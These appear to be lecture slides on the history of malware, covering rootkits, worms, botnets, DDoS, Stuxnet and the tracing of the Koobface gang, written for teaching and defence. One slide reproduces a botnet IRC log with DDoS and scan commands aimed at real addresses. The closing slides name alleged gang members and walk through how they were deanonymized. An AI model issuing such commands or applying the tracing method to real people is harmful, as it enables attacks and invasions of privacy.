  - Create a hidden directory
    - `/dev/.lib`, `/usr/src/.poop` and similar
    - Often use invisible characters in directory name (why?)
  - Install hacked binaries for system programs such as `netstat`, `ps`, `ls`, `du`, `login`

Can’t detect attacker’s processes, files or network connections by running standard UNIX commands!
Detecting Rootkit’s Presence

- Sad way to find out
  - Run out of physical disk space because of sniffer logs
  - Logs are invisible because du and ls have been hacked
- Manual confirmation
  - Reinstall clean ps and see what processes are running
- Automatic detection
  - Rootkit does not alter the data structures normally used by netstat, ps, ls, du, ifconfig
  - Host-based intrusion detection can find rootkit files
    - ...assuming an updated version of rootkit did not disable the intrusion detection system!
Sony XCP Rootkit

Content protection problem: Users will remove active protection software

XCP response: Actively conceal processes, files, registry keys

“Most people, I think, don't even know what a rootkit is, so why should they care about it?”

- Thomas Hesse, President, Sony BMG Global Digital Business

Repurposed by malware and other programs
- Backdoor.Ryknos.B, Trojan.Welomoch
Remote Administration Tools

- Legitimate tools are often abused
  - Citrix MetaFrame, WinVNC, PC Anywhere
    - Complete remote control over the machine
    - Easily found by port scan (e.g., port 1494 – Citrix)
  - Bad installations, crackable password authentication
    - “The Art of Intrusion” – hijacking remote admin tools to break into a cash transfer company, a bank’s IBM AS/400 server

- Semi-legitimate tools
  - Back Orifice, NetBus
  - Rootkit-like behavior: hide themselves, log keystrokes
  - Considered malicious by anti-virus software
RAT Capabilities

- “Dropper” program installs RAT DLL, launches it as persistent Windows service, deletes itself
- RAT notifies specified C&C server, waits for instructions
- Attacker at C&C server has full control of the infected machine, can view files, desktop, manipulate registry, launch command shell
Advanced Persistent Threat

- Successful attack on a big US security company
- Target: master keys for two-factor authentication
- Spear-phishing email messages
  - Subject line: “2011 Recruitment Plan”
  - Attachment: 2011 Recruitment plan.xls
- Spreadsheet exploits a zero-day vulnerability in Adobe Flash to install Poison Ivy RAT
  - Reverse-connect: pulls commands from C&C servers
  - Stolen data moved to compromised servers at a hosting provider, then pulled from there and traces erased

Worms

WORM

- Propagates automatically by copying itself to target systems
- A standalone program
1988 Morris Worm (Redux)

- No malicious payload, but bogged down infected machines by uncontrolled spawning
  - Infected 10% of all Internet hosts at the time
- Multiple propagation vectors
  - Remote execution using rsh and cracked passwords
    - Tried to crack passwords using a small dictionary and publicly readable password file; targeted hosts from /etc/hosts.equiv
  - Buffer overflow in fingerd on VAX
    - Standard stack smashing exploit

Dictionary attack
Memory corruption attack
Summer of 2001

[“How to Own the Internet in Your Spare Time”]

Three major worm outbreaks
Code Red I

- July 13, 2001: First worm of the modern era
- Exploited buffer overflow in Microsoft’s Internet Information Server (IIS)
- 1<sup>st</sup> through 20<sup>th</sup> of each month: spread
  - Finds new targets by random scan of IP address space
    - Spawns 99 threads to generate addresses and look for IIS
  - Creator forgot to seed the random number generator, and every copy scanned the same set of addresses 😊
- 21<sup>st</sup> through the end of each month: attack
  - Defaces websites with “HELLO! Welcome to http://www.worm.com! Hacked by Chinese!”
August 4, 2001: Same IIS vulnerability, completely different code, kills Code Red I

- Known as “Code Red II” because of comment in code
- Worked only on Windows 2000, crashed NT

Scanning algorithm prefers nearby addresses

- Chooses addresses from same class A with probability $\frac{1}{2}$, same class B with probability $\frac{3}{8}$, and randomly from the entire Internet with probability $\frac{1}{8}$

Payload: installs root backdoor for unrestricted remote access

Died by design on October 1, 2001
Nimda

- September 18, 2001: **Multi-modal** worm using several propagation vectors
  - Exploits same IIS buffer overflow as Code Red I and II
  - Bulk-emails itself as an attachment to email addresses harvested from infected machines
  - Copies itself across open network shares
  - Adds exploit code to Web pages on compromised sites to infect visiting browsers
  - Scans for backdoors left by Code Red II
Signature-Based Defenses Don’t Help

- Many firewalls pass mail untouched, relying on mail servers to filter out infections
- Most antivirus filters simply scan attachments for signatures (code fragments) of known viruses
  - Nimda was a brand-new infection with a never-seen-before signature \( \Rightarrow \) scanners could not detect it
- Big challenge: detection of zero-day attacks
  - When a worm first appears in the wild, its signature is often not extracted until hours or days later
Code Red I and II

Slammer (Sapphire) Worm

- January 24/25, 2003: UDP worm exploiting buffer overflow in Microsoft’s SQL Server (port 1434)
  - Overflow was already known and patched by Microsoft... but not everybody installed the patch
- Entire code fits into a single 404-byte UDP packet
  - Worm binary followed by overflow pointer back to itself
- Classic stack smash combined with random scanning: once control is passed to worm code, it randomly generates IP addresses and sends a copy of itself to port 1434
Slammer Propagation

- **Scan rate** of 55,000,000 addresses per second
  - Scan rate = the rate at which worm generates IP addresses of potential targets
  - Up to 30,000 single-packet worm copies per second
- Initial infection was doubling in 8.5 seconds (!!)
  - Doubling time of Code Red was 37 minutes
- Worm-generated packets saturated carrying capacity of the Internet in 10 minutes
  - 75,000 SQL servers compromised
  - ... in spite of the broken pseudo-random number generator used for IP address generation
05:29:00 UTC, January 25, 2003

[from Moore et al. “The Spread of the Sapphire/Slammer Worm”]
30 Minutes Later

[from Moore et al. “The Spread of the Sapphire/Slammer Worm”]

Size of circles is **logarithmic** in the number of infected machines
Asprox Botnet (2008)

[Provos et al. “Cybercrime 2.0: When the Cloud Turns Dark”]

- At first, phishing scams
- Then Google to find ASP.NET sites vulnerable to SQL injection
- Payload injects scripts and iframes into Web content to redirect visitors to attack servers
  - **Fast-flux:** rapidly switch IP addresses and DNS mappings, 340 different injected domains
- Infected 6 million URLs on 153,000 websites
Botnets

- **Botnet** is a network of autonomous programs capable of acting on instructions
  - Typically a large (up to several hundred thousand) group of remotely controlled “zombie” systems
    - Machine owners are not aware they have been compromised
  - Controlled and upgraded from command-and-control (C&C) servers
- Used as a platform for various attacks
  - Distributed denial of service
  - Spam and click fraud
  - Launching pad for new exploits/worms
Bot History

- Eggdrop (1993): early IRC bot
- DDoS bots (late 90s): Trin00, TFN, Stacheldracht
- RATs / Remote Administration Trojans (late 90s):
  - Variants of Back Orifice, NetBus, SubSeven, Bionet
  - Include rootkit functionality
- IRC bots (mid-2000s)
  - Active spreading, multiple propagation vectors
  - Include worm and trojan functionality
  - Many mutations and morphs of the same codebase
- Stormbot and Conficker (2007-09)
Life Cycle of an IRC Bot

- Exploit a vulnerability to execute a short program (shellcode) on victim’s machine
  - Buffer overflows, email viruses, etc.
- Shellcode downloads and installs the actual bot
- Bot disables firewall and antivirus software
- Bot locates IRC server, connects, joins channel
  - Typically need DNS to find out server’s IP address
    - Especially if server’s original IP address has been blacklisted
  - Password-based and crypto authentication
- Botmaster issues authenticated commands
<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>12:59:27pm</td>
<td>A9-pcgbdv (A9-pcgbdv@140.134.36.124) has joined (#owned) Users : 1646</td>
<td></td>
</tr>
<tr>
<td>12:59:27pm</td>
<td>(@Attacker) .ddos.synflood 216.209.82.62</td>
<td></td>
</tr>
<tr>
<td>12:59:27pm</td>
<td>A6-bpxufrd (<a href="mailto:A6-bpxufrd@wp95-81.introweb.nl">A6-bpxufrd@wp95-81.introweb.nl</a>) has joined (#owned) Users : 1647</td>
<td></td>
</tr>
<tr>
<td>12:59:27pm</td>
<td>A9-nzmpah (A9-nzmpah@140.122.200.221) has left IRC (Connection reset by peer)</td>
<td></td>
</tr>
<tr>
<td>12:59:28pm</td>
<td>(@Attacker) .scan.enable DCOM</td>
<td></td>
</tr>
<tr>
<td>12:59:28pm</td>
<td>A9-tzrkeasv (A9-tzrkeasv@220.89.66.93) has joined (#owned) Users : 1650</td>
<td></td>
</tr>
</tbody>
</table>
Agobot, SDBot / SpyBot, GT-Bot

- IRC-based command and control
  - GT-Bot is simply renamed mIRC
- Extensible and customizable codebase
  - Hybrids of bots, rootkits, trojans, worms
  - Many propagation vectors (especially scanning), capable of many types of DoS flooding attacks
- Actively evade detection and analysis
  - Code obfuscation
  - Detect debuggers, VMware, disassembly
  - Point DNS for anti-virus updates to localhost
Detecting Botnet Activity

- Many bots are controlled via IRC and DNS
  - IRC used to issue commands to zombies
  - DNS used by zombies to find the master, and by the master to find if a zombie has been blacklisted
- IRC/DNS activity is very visible in the network
  - Look for hosts performing scans and for IRC channels with a high percentage of such hosts
  - Look for hosts who ask many DNS queries but receive few queries about themselves
- Easily evaded by using encryption and P2P 😞
Rise of Botnets

- 2003: 800-900,000 infected hosts, up to 100K nodes per botnet
- 2006: 5 million distinct bots, but smaller botnets
  - Thousands rather than 100s of thousands per botnet
  - Reasons: evasion, economics, ease of management
  - More bandwidth (1 Mbps and more per host)
- For-profit criminal activity (not just mischief)
  - Spread spam
  - Extort money by threatening/unleashing DoS attacks
- Move to P2P control structures, away from IRC
Denial of Service (DoS)

- Goal: overwhelm victim machine and deny service to its legitimate clients
- DoS often exploits networking protocols
  - Smurf: ICMP echo request to broadcast address with spoofed victim’s address as source
  - SYN flood: send lots of “open TCP connection” requests with spoofed source addresses
  - UDP flood: exhaust bandwidth by sending thousands of bogus UDP packets
  - HTTP request flood: flood server with legitimate-looking requests for Web content
Distributed Denial of Service (DDoS)

- Build a botnet of zombies
  - Multi-layered architecture: attacker uses some of the zombies as “masters” to control other zombies
- Command zombies to stage a coordinated attack on the victim
  - No need to spoof source IP addresses of attack packets (why?)
  - Even in the case of SYN flood, SYN cookies don’t help (why?)
- Overwhelm victim with traffic arriving from thousands of different sources
DDoS Architecture

Attacker

Master machines

Zombie machines

Victim
DDoS as Cyber-Warfare

- May 2007: DDoS attacks on Estonia after government relocated Soviet-era war monument
  - 130 distinct ICMP and SYN floods originating from Russian IP addresses, 70-95 Mbps over 10 hrs
  - Do-it-yourself flood scripts distributed by Russian websites, also some evidence of botnet participation
  - Victims: two largest banks, government ministries, etc.
- Aug 2008: similar attack on Georgia during the war between Russia and Georgia
- Jan 2009: DDoS attack with Russian origin took Kyrgyzstan offline by targeting two main ISPs
Storm / Peacomm (2007)

- Spreads via cleverly designed campaigns of spam email messages with catchy subjects
  - First instance: “230 dead as storm batters Europe”
  - Other examples: “Condoleezza Rice has kicked German Chancellor”, “Radical Muslim drinking enemies’s blood”, “Saddam Hussein alive!”, “Fidel Castro dead”, etc.

- Attachment or URL with malicious payload
  - FullVideo.exe, MoreHere.exe, ReadMore.exe, etc.
  - Also masquerades as flash postcards

- Once opened, installs a trojan (wincom32) and a rootkit, joins the victim to the botnet
Storm Characteristics

- Between 1 and 5 million infected machines
- Obfuscated peer-to-peer control mechanism based on the eDonkey protocol
  - Not a simple IRC channel
- Obfuscated code, anti-debugging defenses
  - Triggers an infinite loop if detects VMware or Virtual PC
  - Large number of spurious probes (evidence of external analysis) triggers a distributed DoS attack

[Porras et al.]
Torpig Study

- Security research group at UCSB took over the Torpig botnet for 10 days in 2009
  - Objective: the inside view of a real botnet
- Takeover exploited domain flux
  - Bot copies generate domain names to find their command & control (C&C) server
  - Researchers registered the domain before attackers, impersonated botnet’s C&C server
Torpig Architecture

[“Your Botnet Is My Botnet”]

Drive-by JavaScript tries to exploit multiple browser vulnerabilities to download Mebroot installer

Installer writes Mebroot into MBR on hard drive, reboots infected host

Mebroot obtains malicious DLLs from its C&C server, injects them into applications, contacts C&C server every 2 hours over HTTP using custom encryption

DLLs upload stolen data to Torpig C&C server

C&C server acks or instructs bot to perform phishing attacks against specific sites using injected content
Man-in-the-Browser Phishing
[“Your Botnet Is My Botnet”]
Target: Financial Institutions

Typical Torpig config file lists approximately 300 domains of financial institutions to be targeted for “man-in-the-browser” phishing attacks.

In 10 days, researchers’ C&C server collected 8,310 accounts at 410 institutions:
- Top 5: PayPal (1770), Poste Italiane (765), Capital One (314), E*Trade (304), Chase (217)
- 1660 unique credit and debit card numbers
  - 30 numbers came from a single work-at-home call-center agent who was entering customers’ credit card numbers into the central database.
Conficker

- Conficker.A surfaced in October 2008
  - Also known as Downandup and Kido
- Conficker.B, B++ variants emerged later
- Exploits a stack buffer overflow in MS Windows Server Service
  - Commercial attack tools customized for Chinese users were offered for sale on popular malware sites a few days after vulnerability became public
Conficker Damage

- Between 4 and 15 million infections (estimated)
- $250K bounty from Microsoft
- Jan-Feb 2009: infected high-visibility victims
  - Grounded French Air Force’s Dassault Rafale fighters
  - Desktops on Royal Navy warships and submarines
  - Sheffield Hospital
    - ... after managers turned off Windows security updates for all 8,000 PCs on the vital network
  - Houston municipal courts
- Apr 2009: installed spambots and fake antivirus
Conficker.B Propagation Vectors

- NetBIOS / network shares
  - Looks for open network shares, copies itself to the admin share or the interprocess communication share launched using rundll32.exe
  - Brute-forces passwords using a dictionary of 240 common passwords

- Removable USB media
  - Copies itself as autorun.inf
  - SHELLEXECUTE keyword is “Open folder to view files”
  - Users unwittingly run the worm every time a removable drive is inserted into the system
Example: domains generated on Feb 12, 2009
Conficker.A: puxqy.net, elvyodjjtao.net, ltxbshpv.net, ykjzaluthux.net, ...
Conficker.B: tvxwoajfwad.info, blojvbcbrwx.biz, wimmugmq.biz, ...

Occasionally generates legitimate domain names, resulting in an unintentional DDoS attack
March 8: jogli.com (Big Web Great Music)
March 13: wnsux.com (used to be Southwest Airlines)
March 18: qhflh.com (Women's Net in Qinghai Province)
March 31: praat.org (“Doing phonetics by computer”)

Domain registrars blocked registration of domains on the list
Use of MD-6 in Conficker

- Conficker.B uses MD-6 hash algorithm
- Developed by Ron Rivest at MIT, this algorithm was released in October 2008
  - At most a few weeks before Conficker.B’s appearance
- Original MD-6 implementation contained a buffer overflow… patched in February 2009
  - Conficker.B implementations contain the same overflow
- In Conficker.C (first observed on March 5, 2009), the overflow is patched
  - Somebody is paying attention!
Conficker.E (April 2009)

- Updates old versions of Conficker
- Downloads a spambot trojan (Waledac) and a fake antivirus ("Spy Protect 2009")
- Self-removes on May 3, 2009

End of the Conficker story?
Conficker Summary

- Massive platform for distributing arbitrary binaries
  - Spam? Fraud? Denial of service? Cyber-warfare?
  - Used only to install run-of-the-mill spambots and distribute fake security software
- Dynamic command-and-control mechanism, difficult to block
- Evolving through upgrades, increasingly sophisticated communication and self-organization
Zeus: Crimeware for Sale

- Bot kits widely available for sale - for example, Zeus kits sell for between $700 and $15000
  - Target: login credentials for financial institutions
- Multiple Zeus-based botnets
  - 13 million infections worldwide, 3 million in the US; 90% of Fortune 500 companies infected
- On March 19, 2012, Microsoft and partners filed takedown notices against 39 “John Does” responsible for Zeus infections
  - See http://www.zeuslegalnotice.com/ for examples of malicious code and the results of binary analysis
ZeroAccess Botnet

Peer-to-peer structure, no central C&C server
1.9 million infected machines as of August 2013
Used for click fraud
- Trojan downloads ads and “clicks” on them to scam per-pay-click affiliate schemes
Used for bitcoin mining
- According to Symantec, one compromised machine yields 41 US cents a year...
Botnet partially “sinkholed” by Symantec
- Sinkhole = redirect bots’ C&C traffic

Stuxnet

- Complex “Beast”
  - Alleged code name was “Operation Olympic Games”
  - Computer Worm (Spreads on its own)
  - Trojan Horse (Does something it is not supposed to do)
  - Virus (Embeds itself with human interaction)

- Without finding its specific target, it would remain dormant
Industrial Control Systems

- Run automated processes on factory floors, power and chemical plants, oil refineries, etc.
- Specialized assembly code on PLCs (Programmable Logic Controllers)
  - PLCs are usually programmed from Windows
- Not connected to the Internet ("air gap")
Stuxnet Firsts

- First to exploit multiple zero-day vulnerabilities
- First to use stolen signing keys and valid certificates of two companies
- First to target industrial control systems – or not?
  ... and hide the code from the operator
  ... and perform actual sabotage
- First PLC (programmable logic controller) rootkit
- First example of true cyber-warfare?
Iranian Nuclear Program

- Sep 2010: “delays”
  - Warm weather blamed

- Oct 2010: “spies” arrested, allegedly attempted to sabotage Iran’s nuclear program

- Nov 2010: Iran acknowledges that its nuclear enrichment centrifuges were affected by a worm
  - Foreign minister: “Nothing would cause a delay in Iran's nuclear activities”
  - Intelligence minister: “enemy spy services” responsible
Exploring the Attack Vector

- Two strikingly different attack vectors
- Overpressure Attack
  - Increase centrifuge rotor stress
  - Significantly stronger
  - More stealthy
  - Less documented in literature
- Rotor Speed Attack
  - Increase rotor velocity
  - Overpressure centrifuge is dormant in this attack
  - Independent from previous attack
  - Less concern about detection -> push the envelope
Who is Behind the Botnets?

- Case study: *Koobface* gang

- Responsible for the 2008-09 Facebook worm
  - Messages Facebook friends of infected users, tricks them into visiting a site with a malicious “Flash update”

- Made at least $2 million a year from fake antivirus sales, spam ads, etc.

- De-anonymized by SophosLabs
KoobFace Deanonymization

One of the command-and-control servers had a configuration mistake, any visitor can view all requests, revealing file and directory names

- `mod_status` enabled by mistake

last.tar.bz2 file contained daily C&C software backup, including a PHP script for sending daily revenue statistics to five Russian mobile numbers
KoobFace Deanonynymization (2)

- Search for the phone numbers found Russian online ads for a BMW car and Sphynx kittens

- Search for username "krotreal" found profiles in various social sites – with photos!

http://nakedsecurity.sophos.com/koobface/
One of the social-network profiles references an adult Russian website belonging to “Krotreal”.

“Whois” the owner, with a St. Petersburg phone number and another email (Krotreal@mobsoft.com).
KoobFace Deahonhmization

(4)

http://nakedsecurity.sophos.com/koobface/

- Krotreal profile on vkontakte.ru (“Russian Facebook”) is restricted...
- ... but he posted links to photos on Twitter, thus making photos publicly available

- Reveals social relations
Czech government maintains an online portal providing easy access to company details

- Includes registered address, shareholders, owners, their dates of birth and passport ID numbers

Hosted on the Koobface “mothership” server

http://nakedsecurity.sophos.com/koobface/
Search for MobSoft on Russian Federal Tax Server reveals nothing, but search for МобСофт reveals owner’s name and also a job ad:

Same phone number as in the statistics script on the Koobface C&C server

Contact person found on social sites
The co-owner of one of the Mobsoft entities did not restrict her social profile.

Reveals faces, usernames, relationships between gang members:
- Hanging out, holidays in Monte Carlo, Bali, Turkey

One photo shows Svyatoslav P. participating in a porn webmaster convention in Cyprus.

“FUBAR webmaster” website has archive photo sets from various porn industry events.

Username on the badge!
One of the members linked to an old St. Petersburg porn-webmaster “club”

- Website contains picture section called “Ded Mazai”, same username as found on ICQ profile of member

Social profile of “Ded Mazai” reveals a photo of all gang members together at a fishing event
The Koobface Gang

- Антон Коротченко
  - “KrotReal”
- Станислав Авдейко
  - “LeDed”
- Святослав Полищук
  - “PsViat”, “PsycoMan”
- Роман Котурбач
  - “PoMuc”
- Александр Колтышев
  - “Floppy”
Conclusions